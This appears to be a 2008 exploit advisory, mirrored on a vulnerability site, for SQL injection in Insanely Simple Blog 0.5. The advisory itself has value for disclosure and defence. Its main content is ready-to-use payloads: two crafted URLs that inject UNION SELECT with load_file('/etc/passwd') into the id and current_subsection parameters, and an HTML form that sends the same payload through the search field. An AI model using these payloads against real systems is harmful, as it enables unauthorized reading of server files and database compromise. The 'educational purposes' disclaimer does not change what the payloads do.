Insanely Simple Blog 0.5 (index) Remote SQL Injection Vulnerabilities

🗓️ 11 Jun 2008 00:00:00Reported by RootType

Insanely Simple Blog 0.5 Remote SQL Injectio


                                                &nbsp;&nbsp;_____&nbsp;_&nbsp;&nbsp;&nbsp;_&nbsp;_____&nbsp;&nbsp;_____&nbsp;_____&nbsp;_____&nbsp;&nbsp;
&nbsp;/&nbsp;&nbsp;___|&nbsp;|_|&nbsp;|&nbsp;&nbsp;_&nbsp;&nbsp;\|&nbsp;&nbsp;_&nbsp;&nbsp;|&nbsp;&nbsp;_&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;_|&nbsp;
&nbsp;|&nbsp;(___|&nbsp;&nbsp;_&nbsp;&nbsp;|&nbsp;[_)_/|&nbsp;(_)&nbsp;|&nbsp;(_)&nbsp;|&nbsp;|&nbsp;|&nbsp;&nbsp;&nbsp;
&nbsp;\_____|_|&nbsp;|_|_|&nbsp;|_||_____|_____|&nbsp;|_|&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;C.&nbsp;H.&nbsp;R.&nbsp;O.&nbsp;O.&nbsp;T.&nbsp;&nbsp;SECURITY&nbsp;&nbsp;GROUP
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;--&nbsp;-----&nbsp;---&nbsp;--&nbsp;--&nbsp;----&nbsp;---&nbsp;--&nbsp;-&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.chroot.org

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;_&nbsp;_&nbsp;_____&nbsp;____&nbsp;____&nbsp;__&nbsp;&nbsp;_&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hacks&nbsp;In&nbsp;Taiwan&nbsp;&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|_&nbsp;&nbsp;&nbsp;_|&nbsp;&nbsp;__|&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\|&nbsp;|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conference&nbsp;2008&nbsp;&nbsp;|&nbsp;&nbsp;_&nbsp;&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;(__|&nbsp;()&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|_|&nbsp;|_|_|&nbsp;|_|&nbsp;\____|____|_|\__|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.hitcon.org


Title&nbsp;=======::&nbsp;Insanely&nbsp;Simple&nbsp;Blog&nbsp;0.5&nbsp;(index)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerabilities

Author&nbsp;======::&nbsp;unohope&nbsp;[at]&nbsp;chroot&nbsp;[dot]&nbsp;org

IRC&nbsp;=========::&nbsp;irc.chroot.org&nbsp;#chroot

ScriptName&nbsp;==::&nbsp;Insanely&nbsp;Simple&nbsp;Blog&nbsp;

Download&nbsp;====::&nbsp;http://jaist.dl.sourceforge.net/sourceforge/insanelysimple2/insanely_simple_blog0.5.zip

Mirror&nbsp;======::&nbsp;http://www.badongo.com/file/9706939

______________________
[SQL&nbsp;Injection]

-&nbsp;{index.php}&nbsp;-

http://localhost/isblog/index.php?id=-99+union+select+0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*

http://localhost/isblog/index.php?current_subsection=-99+union+select+0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*

&lt;form&nbsp;action=&quot;http://localhost/isblog/index.php?action=search&quot;&nbsp;method=&quot;post&quot;&gt;
&lt;input&nbsp;type=&quot;hidden&quot;&nbsp;name=&quot;term&quot;&nbsp;value=&quot;-99'&nbsp;union&nbsp;select&nbsp;0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*&quot;&gt;
&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;send&quot;&gt;
&lt;/form&gt;

______
[NOTE]

!!&nbsp;This&nbsp;is&nbsp;just&nbsp;for&nbsp;educational&nbsp;purposes,&nbsp;DO&nbsp;NOT&nbsp;use&nbsp;for&nbsp;illegal.&nbsp;!!

11 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1